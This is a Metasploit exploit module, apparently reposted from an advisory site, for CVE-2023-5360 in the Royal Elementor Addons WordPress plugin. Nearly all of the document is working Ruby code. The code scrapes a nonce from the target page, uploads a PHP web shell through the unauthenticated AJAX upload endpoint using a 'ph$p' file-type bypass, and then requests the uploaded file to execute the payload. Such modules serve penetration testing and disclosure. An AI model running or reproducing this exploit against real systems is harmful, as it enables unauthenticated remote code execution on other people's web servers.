Authored by Valentin Lobstein, Fioravante Souza | Site metasploit.com

WordPress Royal Elementor Addons and Templates plugin versions prior to 1.3.79 suffer from a remote shell upload vulnerability.

advisories | CVE-2023-5360

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Royal Elementor Addons RCE',
'Description' => %q{
Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
},
'Author' => [
'Fioravante Souza', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-5360'],
['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],
['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
],
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-11-23',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version

check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

if check_code.code != 'appears'
return CheckCode::Safe
end

plugin_version = check_code.details[:version]
print_good("Detected Royal Elementor Addons version: #{plugin_version}")
return CheckCode::Appears
end

def exploit
print_status('Attempting to retrieve nonce...')
nonce = retrieve_nonce

print_status('Sending payload')
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')

data = {
'action' => 'wpr_addons_upload_file',
'max_file_size' => rand(10001),
'allowed_file_types' => 'ph$p',
'triggering_event' => 'click',
'wpr_addons_nonce' => nonce
}

file_content = '<?php '
file_content << (payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));")
file_content << '?>'

file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p"

post_data = Rex::MIME::Message.new
post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name="uploaded_file"; filename="#{file_name}"")
data.each_pair do |key, value|
post_data.add_part(value.to_s, nil, nil, "form-data; name="#{key}"")
end

res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

unless res
fail_with(Failure::Unreachable, 'No response received from the target')
end

if res.code == 200 && res.body.include?('success')
print_good('Payload uploaded successfully')
response_data = JSON.parse(res.body)
if response_data.key?('data') && response_data['data'].key?('url')
file_url = response_data['data']['url']
print_status('Triggering the payload')
send_request_cgi({
'uri' => file_url,
'method' => 'GET'
})

else
fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end

def retrieve_nonce
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')

fail_with(Failure::Unreachable, 'No response received from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200

match = res.body.match(/vars+WprConfigs*=s*({.+?});/)
fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil?

nonce = JSON.parse(match[1])['nonce']
fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil?

print_good("Nonce found in response: #{nonce.inspect}")
nonce
end
end